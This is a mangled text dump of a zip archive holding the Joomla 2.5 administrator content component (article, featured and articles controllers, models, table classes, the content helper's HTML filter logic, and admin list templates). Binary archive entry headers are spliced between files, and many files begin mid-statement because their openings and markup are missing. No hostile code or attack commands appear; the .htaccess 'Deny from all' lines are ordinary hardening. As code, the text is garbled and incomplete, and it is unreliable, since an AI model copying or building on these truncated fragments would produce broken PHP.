    items as $i => $item) : $item->max_ordering = 0; //?? $ordering = ($listOrder == 'fp.ordering'); $assetId = 'com_content.article.'.$item->id; $canCreate = $user->authorise('core.create', 'com_content.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_content.article.'.$item->id); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_content.article.'.$item->id) && $canCheckin; ?>
    items, 'filesave.png', 'featured.saveorder'); ?>
    pagination->getListFooter(); ?>
    id); ?> checked_out) : ?> editor, $item->checked_out_time, 'featured.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

    escape($item->alias));?>

    state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, true, 'featured.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'featured.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'featured.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'featured.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> created_by_alias) : ?> escape($item->author_name); ?>

    escape($item->created_by_alias)); ?>

    escape($item->author_name); ?>
    created, JText::_('DATE_FORMAT_LC4')); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
    PK@y>\V5components/com_content/views/featured/tmpl/index.htmlnuW+A PK@y>\~#/components/com_content/controllers/featured.phpnuW+A $id) { if (!$user->authorise('core.delete', 'com_content.article.'.(int) $id)) { // Prune items that you can't delete. unset($ids[$i]); JError::raiseNotice(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Remove the items. if (!$model->featured($ids, 0)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_content&view=featured'); } /** * Method to publish a list of articles. * * @return void * @since 1.0 */ function publish() { parent::publish(); $this->setRedirect('index.php?option=com_content&view=featured'); } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.6 */ public function getModel($name = 'Feature', $prefix = 'ContentModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\),components/com_content/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\'( ( /components/com_content/controllers/articles.phpnuW+Aview_list = 'featured'; } parent::__construct($config); $this->registerTask('unfeatured', 'featured'); } /** * Method to toggle the featured setting of a list of articles. * * @return void * @since 1.6 */ function featured() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('featured' => 1, 'unfeatured' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); // Access checks. foreach ($ids as $i => $id) { if (!$user->authorise('core.edit.state', 'com_content.article.'.(int) $id)) { // Prune items that you can't change. unset($ids[$i]); JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Publish the items. if (!$model->featured($ids, $value)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_content&view=articles'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 1.6 */ public function getModel($name = 'Article', $prefix = 'ContentModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\V-components/com_content/controllers/index.htmlnuW+A PK@y>\::.components/com_content/controllers/article.phpnuW+Aview_list = 'featured'; $this->view_item = 'article&return=featured'; } parent::__construct($config); } /** * Method override to check if you can add a new record. * * @param array $data An array of input data. * * @return boolean * * @since 1.6 */ protected function allowAdd($data = array()) { // Initialise variables. $user = JFactory::getUser(); $categoryId = JArrayHelper::getValue($data, 'catid', JRequest::getInt('filter_category_id'), 'int'); $allow = null; if ($categoryId) { // If the category has been passed in the data or URL check it. $allow = $user->authorise('core.create', 'com_content.category.' . $categoryId); } if ($allow === null) { // In the absense of better information, revert to the component permissions. return parent::allowAdd(); } else { return $allow; } } /** * Method override to check if you can edit an existing record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $user = JFactory::getUser(); $userId = $user->get('id'); // Check general edit permission first. if ($user->authorise('core.edit', 'com_content.article.' . $recordId)) { return true; } // Fallback on edit.own. // First test if the permission is available. if ($user->authorise('core.edit.own', 'com_content.article.' . $recordId)) { // Now test the owner is the user. $ownerId = (int) isset($data['created_by']) ? $data['created_by'] : 0; if (empty($ownerId) && $recordId) { // Need to do a lookup from the model. $record = $this->getModel()->getItem($recordId); if (empty($record)) { return false; } $ownerId = $record->created_by; } // If the owner matches 'me' then do the test. if ($ownerId == $userId) { return true; } } // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 1.6 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Article', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_content&view=articles' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PK@y>\V,#!components/com_content/access.xmlnuW+A
    PK@y>\c5@%components/com_content/controller.phpnuW+AcheckEditId('com_content.edit.article', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_content&view=articles', false)); return false; } parent::display(); return $this; } } PK@y>\i*components/com_content/tables/featured.phpnuW+A\V(components/com_content/tables/index.htmlnuW+A PK@y>\)'components/com_content/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\W *components/com_content/helpers/content.phpnuW+Aset($action, $user->authorise($action, $assetName)); } return $result; } /** * Applies the content tag filters to arbitrary text as per settings for current user group * @param text The string to filter * @return string The filtered string */ public static function filterText($text) { // Filter settings $config = JComponentHelper::getParams('com_config'); $user = JFactory::getUser(); $userGroups = JAccess::getGroupsByUser($user->get('id')); $filters = $config->get('filters'); $blackListTags = array(); $blackListAttributes = array(); $customListTags = array(); $customListAttributes = array(); $whiteListTags = array(); $whiteListAttributes = array(); $noHtml = false; $whiteList = false; $blackList = false; $customList = false; $unfiltered = false; // Cycle through each of the user groups the user is in. // Remember they are included in the Public group as well. foreach ($userGroups as $groupId) { // May have added a group but not saved the filters. if (!isset($filters->$groupId)) { continue; } // Each group the user is in could have different filtering properties. $filterData = $filters->$groupId; $filterType = strtoupper($filterData->filter_type); if ($filterType == 'NH') { // Maximum HTML filtering. $noHtml = true; } elseif ($filterType == 'NONE') { // No HTML filtering. $unfiltered = true; } else { // Black, white or custom list. // Preprocess the tags and attributes. $tags = explode(',', $filterData->filter_tags); $attributes = explode(',', $filterData->filter_attributes); $tempTags = array(); $tempAttributes = array(); foreach ($tags as $tag) { $tag = trim($tag); if ($tag) { $tempTags[] = $tag; } } foreach ($attributes as $attribute) { $attribute = trim($attribute); if ($attribute) { $tempAttributes[] = $attribute; } } // Collect the black or white list tags and attributes. // Each lists is cummulative. if ($filterType == 'BL') { $blackList = true; $blackListTags = array_merge($blackListTags, $tempTags); $blackListAttributes = array_merge($blackListAttributes, $tempAttributes); } elseif ($filterType == 'CBL') { // Only set to true if Tags or Attributes were added if ($tempTags || $tempAttributes) { $customList = true; $customListTags = array_merge($customListTags, $tempTags); $customListAttributes = array_merge($customListAttributes, $tempAttributes); } } elseif ($filterType == 'WL') { $whiteList = true; $whiteListTags = array_merge($whiteListTags, $tempTags); $whiteListAttributes = array_merge($whiteListAttributes, $tempAttributes); } } } // Remove duplicates before processing (because the black list uses both sets of arrays). $blackListTags = array_unique($blackListTags); $blackListAttributes = array_unique($blackListAttributes); $customListTags = array_unique($customListTags); $customListAttributes = array_unique($customListAttributes); $whiteListTags = array_unique($whiteListTags); $whiteListAttributes = array_unique($whiteListAttributes); // Unfiltered assumes first priority. if ($unfiltered) { // Dont apply filtering. } else { // Custom blacklist precedes Default blacklist if ($customList) { $filter = JFilterInput::getInstance(array(), array(), 1, 1); // Override filter's default blacklist tags and attributes if ($customListTags) { $filter->tagBlacklist = $customListTags; } if ($customListAttributes) { $filter->attrBlacklist = $customListAttributes; } } // Black lists take third precedence. elseif ($blackList) { // Remove the white-listed attributes from the black-list. $filter = JFilterInput::getInstance( array_diff($blackListTags, $whiteListTags), // blacklisted tags array_diff($blackListAttributes, $whiteListAttributes), // blacklisted attributes 1, // blacklist tags 1 // blacklist attributes ); // Remove white listed tags from filter's default blacklist if ($whiteListTags) { $filter->tagBlacklist = array_diff($filter->tagBlacklist, $whiteListTags); } // Remove white listed attributes from filter's default blacklist if ($whiteListAttributes) { $filter->attrBlacklist = array_diff($filter->attrBlacklist); } } // White lists take fourth precedence. elseif ($whiteList) { $filter = JFilterInput::getInstance($whiteListTags, $whiteListAttributes, 0, 0, 0); // turn off xss auto clean } // No HTML takes last place. else { $filter = JFilterInput::getInstance(); } $text = $filter->clean($text, 'html'); } return $text; } } PK@y>\)(components/com_content/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_content/helpers/index.htmlnuW+A PK@y>\)-components/com_content/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_content/helpers/html/index.htmlnuW+A PK@y>\S?II<components/com_content/helpers/html/contentadministrator.phpnuW+A array('disabled.png', 'articles.featured', 'COM_CONTENT_UNFEATURED', 'COM_CONTENT_TOGGLE_TO_FEATURE'), 1 => array('featured.png', 'articles.unfeatured', 'COM_CONTENT_FEATURED', 'COM_CONTENT_TOGGLE_TO_UNFEATURE'), ); $state = JArrayHelper::getValue($states, (int) $value, $states[1]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' . $html.''; } return $html; } } PK@y>\>"components/com_content/content.xmlnuW+A com_content Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CONTENT_XML_DESCRIPTION content.php controller.php index.html router.php helpers models language/en-GB.com_content.ini access.xml config.xml content.php controller.php index.html controllers elements helpers models tables views language/en-GB.com_content.ini PK@y>\ǔ"components/com_content/content.phpnuW+Aauthorise('core.manage', 'com_content')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Register helper class JLoader::register('ContentHelper', dirname(__FILE__) . '/helpers/content.php'); $controller = JControllerLegacy::getInstance('Content'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\%Y)components/com_content/models/feature.phpnuW+A\V(components/com_content/models/index.htmlnuW+A PK@y>\BX77)components/com_content/models/article.phpnuW+AgetTable(); $i = 0; // Check that the category exists if ($categoryId) { $categoryTable = JTable::getInstance('Category'); if (!$categoryTable->load($categoryId)) { if ($error = $categoryTable->getError()) { // Fatal error $this->setError($error); return false; } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } } } if (empty($categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } // Check that the user has create permission for the component $extension = JFactory::getApplication()->input->get('option', ''); $user = JFactory::getUser(); if (!$user->authorise('core.create', $extension . '.category.' . $categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE')); return false; } // Parent exists so we let's proceed while (!empty($pks)) { // Pop the first ID off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Alter the title & alias $data = $this->generateNewTitle($categoryId, $table->alias, $table->title); $table->title = $data['0']; $table->alias = $data['1']; // Reset the ID because we are making a copy $table->id = 0; // Reset hits because we are making a copy $table->hits = 0; // New category ID $table->catid = $categoryId; // TODO: Deal with ordering? //$table->ordering = 1; // Get the featured state $featured = $table->featured; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Check if the article was featured and update the #__content_frontpage table if ($featured == 1) { $db = $this->getDbo(); $query = $db->getQuery(true); $query->insert($db->quoteName('#__content_frontpage')); $query->values($newId . ', 0'); $db->setQuery($query); $db->query(); } } // Clean the cache $this->cleanCache(); return $newIds; } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canDelete($record) { if (!empty($record->id)) { if ($record->state != -2) { return ; } $user = JFactory::getUser(); return $user->authorise('core.delete', 'com_content.article.'.(int) $record->id); } } /** * Method to test whether a record can have its state edited. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check for existing article. if (!empty($record->id)) { return $user->authorise('core.edit.state', 'com_content.article.'.(int) $record->id); } // New article, so check against the category. elseif (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_content.category.'.(int) $record->catid); } // Default to component settings if neither article nor category known. else { return parent::canEditState('com_content'); } } /** * Prepare and sanitise the table data prior to saving. * * @param JTable A JTable object. * * @return void * @since 1.6 */ protected function prepareTable(&$table) { // Set the publish date to now $db = $this->getDbo(); if($table->state == 1 && intval($table->publish_up) == 0) { $table->publish_up = JFactory::getDate()->toSql(); } // Increment the content version number. $table->version++; // Reorder the articles within the category so the new article is first if (empty($table->id)) { $table->reorder('catid = '.(int) $table->catid.' AND state >= 0'); } } /** * Returns a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * * @return JTable A database object */ public function getTable($type = 'Content', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. */ public function getItem($pk = null) { if ($item = parent::getItem($pk)) { // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($item->attribs); $item->attribs = $registry->toArray(); // Convert the metadata field to an array. $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry->toArray(); // Convert the images field to an array. $registry = new JRegistry; $registry->loadString($item->images); $item->images = $registry->toArray(); // Convert the urls field to an array. $registry = new JRegistry; $registry->loadString($item->urls); $item->urls = $registry->toArray(); $item->articletext = trim($item->fulltext) != '' ? $item->introtext . "
    " . $item->fulltext : $item->introtext; } return $item; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_content.article', 'article', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } $jinput = JFactory::getApplication()->input; // The front end calls this model and uses a_id to avoid id clashes so we need to check for that first. if ($jinput->get('a_id')) { $id = $jinput->get('a_id', 0); } // The back end uses id so we use that the rest of the time and set it to 0 by default. else { $id = $jinput->get('id', 0); } // Determine correct permissions to check. if ($this->getState('article.id')) { $id = $this->getState('article.id'); // Existing record. Can only edit in selected categories. $form->setFieldAttribute('catid', 'action', 'core.edit'); // Existing record. Can only edit own articles in selected categories. $form->setFieldAttribute('catid', 'action', 'core.edit.own'); } else { // New record. Can only create in selected categories. $form->setFieldAttribute('catid', 'action', 'core.create'); } $user = JFactory::getUser(); // Check for existing article. // Modify the form based on Edit State access controls. if ($id != 0 && (!$user->authorise('core.edit.state', 'com_content.article.'.(int) $id)) || ($id == 0 && !$user->authorise('core.edit.state', 'com_content')) ) { // Disable fields for display. $form->setFieldAttribute('featured', 'disabled', 'true'); $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); $form->setFieldAttribute('state', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is an article you can edit. $form->setFieldAttribute('featured', 'filter', 'unset'); $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); $form->setFieldAttribute('state', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_content.edit.article.data', array()); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('article.id') == 0) { $app = JFactory::getApplication(); $data->set('catid', JRequest::getInt('catid', $app->getUserState('com_content.articles.filter.category_id'))); } } return $data; } /** * Method to save the form data. * * @param array The form data. * * @return boolean True on success. * @since 1.6 */ public function save($data) { if (isset($data['images']) && is_array($data['images'])) { $registry = new JRegistry; $registry->loadArray($data['images']); $data['images'] = (string)$registry; } if (isset($data['urls']) && is_array($data['urls'])) { $registry = new JRegistry; $registry->loadArray($data['urls']); $data['urls'] = (string)$registry; } // Alter the title for save as copy if (JRequest::getVar('task') == 'save2copy') { list($title, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['title']); $data['title'] = $title; $data['alias'] = $alias; } if (parent::save($data)) { if (isset($data['featured'])) { $this->featured($this->getState($this->getName().'.id'), $data['featured']); } return true; } return false; } /** * Method to toggle the featured setting of articles. * * @param array The ids of the items to toggle. * @param int The value to toggle to. * * @return boolean True on success. */ public function featured($pks, $value = 0) { // Sanitize the ids. $pks = (array) $pks; JArrayHelper::toInteger($pks); if (empty($pks)) { $this->setError(JText::_('COM_CONTENT_NO_ITEM_SELECTED')); return false; } $table = $this->getTable('Featured', 'ContentTable'); try { $db = $this->getDbo(); $db->setQuery( 'UPDATE #__content' . ' SET featured = '.(int) $value. ' WHERE id IN ('.implode(',', $pks).')' ); if (!$db->query()) { throw new Exception($db->getErrorMsg()); } if ((int)$value == 0) { // Adjust the mapping table. // Clear the existing features settings. $db->setQuery( 'DELETE FROM #__content_frontpage' . ' WHERE content_id IN ('.implode(',', $pks).')' ); if (!$db->query()) { throw new Exception($db->getErrorMsg()); } } else { // first, we find out which of our new featured articles are already featured. $query = $db->getQuery(true); $query->select('f.content_id'); $query->from('#__content_frontpage AS f'); $query->where('content_id IN ('.implode(',', $pks).')'); //echo $query; $db->setQuery($query); if (!is_array($old_featured = $db->loadColumn())) { throw new Exception($db->getErrorMsg()); } // we diff the arrays to get a list of the articles that are newly featured $new_featured = array_diff($pks, $old_featured); // Featuring. $tuples = array(); foreach ($new_featured as $pk) { $tuples[] = '('.$pk.', 0)'; } if (count($tuples)) { $db->setQuery( 'INSERT INTO #__content_frontpage ('.$db->quoteName('content_id').', '.$db->quoteName('ordering').')' . ' VALUES '.implode(',', $tuples) ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } } } catch (Exception $e) { $this->setError($e->getMessage()); return false; } $table->reorder(); $this->cleanCache(); return true; } /** * A protected method to get a set of ordering conditions. * * @param object A record object. * * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'catid = '.(int) $table->catid; return $condition; } /** * Custom clean the cache of com_content and content modules * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_content'); parent::cleanCache('mod_articles_archive'); parent::cleanCache('mod_articles_categories'); parent::cleanCache('mod_articles_category'); parent::cleanCache('mod_articles_latest'); parent::cleanCache('mod_articles_news'); parent::cleanCache('mod_articles_popular'); } } PK@y>\ j##*components/com_content/models/articles.phpnuW+Acontext .= '.'.$layout; } $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $authorId = $app->getUserStateFromRequest($this->context.'.filter.author_id', 'filter_author_id'); $this->setState('filter.author_id', $authorId); $published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id'); $this->setState('filter.category_id', $categoryId); $level = $this->getUserStateFromRequest($this->context.'.filter.level', 'filter_level', 0, 'int'); $this->setState('filter.level', $level); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.category_id'); $id .= ':'.$this->getState('filter.author_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.checked_out, a.checked_out_time, a.catid' . ', a.state, a.access, a.created, a.created_by, a.created_by_alias, a.ordering, a.featured, a.language, a.hits' . ', a.publish_up, a.publish_down' ) ); $query->from('#__content AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Join over the users for the author. $query->select('ua.name AS author_name'); $query->join('LEFT', '#__users AS ua ON ua.id = a.created_by'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.state = ' . (int) $published); } elseif ($published === '') { $query->where('(a.state = 0 OR a.state = 1)'); } // Filter by a single or group of categories. $baselevel = 1; $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $cat_tbl = JTable::getInstance('Category', 'JTable'); $cat_tbl->load($categoryId); $rgt = $cat_tbl->rgt; $lft = $cat_tbl->lft; $baselevel = (int) $cat_tbl->level; $query->where('c.lft >= '.(int) $lft); $query->where('c.rgt <= '.(int) $rgt); } elseif (is_array($categoryId)) { JArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); $query->where('a.catid IN ('.$categoryId.')'); } // Filter on the level. if ($level = $this->getState('filter.level')) { $query->where('c.level <= '.((int) $level + (int) $baselevel - 1)); } // Filter by author $authorId = $this->getState('filter.author_id'); if (is_numeric($authorId)) { $type = $this->getState('filter.author_id.include', true) ? '= ' : '<>'; $query->where('a.created_by '.$type.(int) $authorId); } // Filter by search in title. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'author:') === 0) { $search = $db->Quote('%'.$db->escape(substr($search, 7), true).'%'); $query->where('(ua.name LIKE '.$search.' OR ua.username LIKE '.$search.')'); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering', 'a.title'); $orderDirn = $this->state->get('list.direction', 'asc'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } //sqlsrv change if($orderCol == 'language') $orderCol = 'l.title'; if($orderCol == 'access_level') $orderCol = 'ag.title'; $query->order($db->escape($orderCol.' '.$orderDirn)); // echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Build a list of authors * * @return JDatabaseQuery * @since 1.6 */ public function getAuthors() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Construct the query $query->select('u.id AS value, u.name AS text'); $query->from('#__users AS u'); $query->join('INNER', '#__content AS c ON c.created_by = u.id'); $query->group('u.id, u.name'); $query->order('u.name'); // Setup the query $db->setQuery($query->__toString()); // Return the result return $db->loadObjectList(); } /** * Method to get a list of articles. * Overridden to add a check for access levels. * * @return mixed An array of data items on success, false on failure. * @since 1.6.1 */ public function getItems() { $items = parent::getItems(); $app = JFactory::getApplication(); if ($app->isSite()) { $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); for ($x = 0, $count = count($items); $x < $count; $x++) { //Check the access level. Remove articles the user shouldn't see if (!in_array($items[$x]->access, $groups)) { unset($items[$x]); } } } return $items; } } PK@y>\V.components/com_content/models/forms/index.htmlnuW+A PK@y>\\cIRIR/components/com_content/models/forms/article.xmlnuW+A
    PK@y>\)-components/com_content/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).components/com_content/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_content/models/fields/index.htmlnuW+A PK@y>\ 6components/com_content/models/fields/modal/article.phpnuW+Aid.'(id, title, catid, object) {'; $script[] = ' document.id("'.$this->id.'_id").value = id;'; $script[] = ' document.id("'.$this->id.'_name").value = title;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option=com_content&view=articles&layout=modal&tmpl=component&function=jSelectArticle_'.$this->id; $db = JFactory::getDBO(); $db->setQuery( 'SELECT title' . ' FROM #__content' . ' WHERE id = '.(int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE'); } $title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8'); // The current user display field. $html[] = '
    '; $html[] = ' '; $html[] = '
    '; // The user select button. $html[] = '
    '; $html[] = ' '; $html[] = '
    '; // The active article id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html[] = ''; return implode("\n", $html); } } PK@y>\)4components/com_content/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_content/models/fields/modal/index.htmlnuW+A PK@y>\)'components/com_content/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\iZTT*components/com_content/models/featured.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.checked_out, a.checked_out_time, a.catid, a.state, a.access, a.created, a.created_by_alias, a.hits,' . 'a.language, a.publish_up, a.publish_down' ) ); $query->from('#__content AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the content table. $query->select('fp.ordering'); $query->join('INNER', '#__content_frontpage AS fp ON fp.content_id = a.id'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Join over the users for the author. $query->select('ua.name AS author_name'); $query->join('LEFT', '#__users AS ua ON ua.id = a.created_by'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.state = ' . (int) $published); } elseif ($published === '') { $query->where('(a.state = 0 OR a.state = 1)'); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.title LIKE '.$search.' OR a.alias LIKE '.$search); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.title')).' 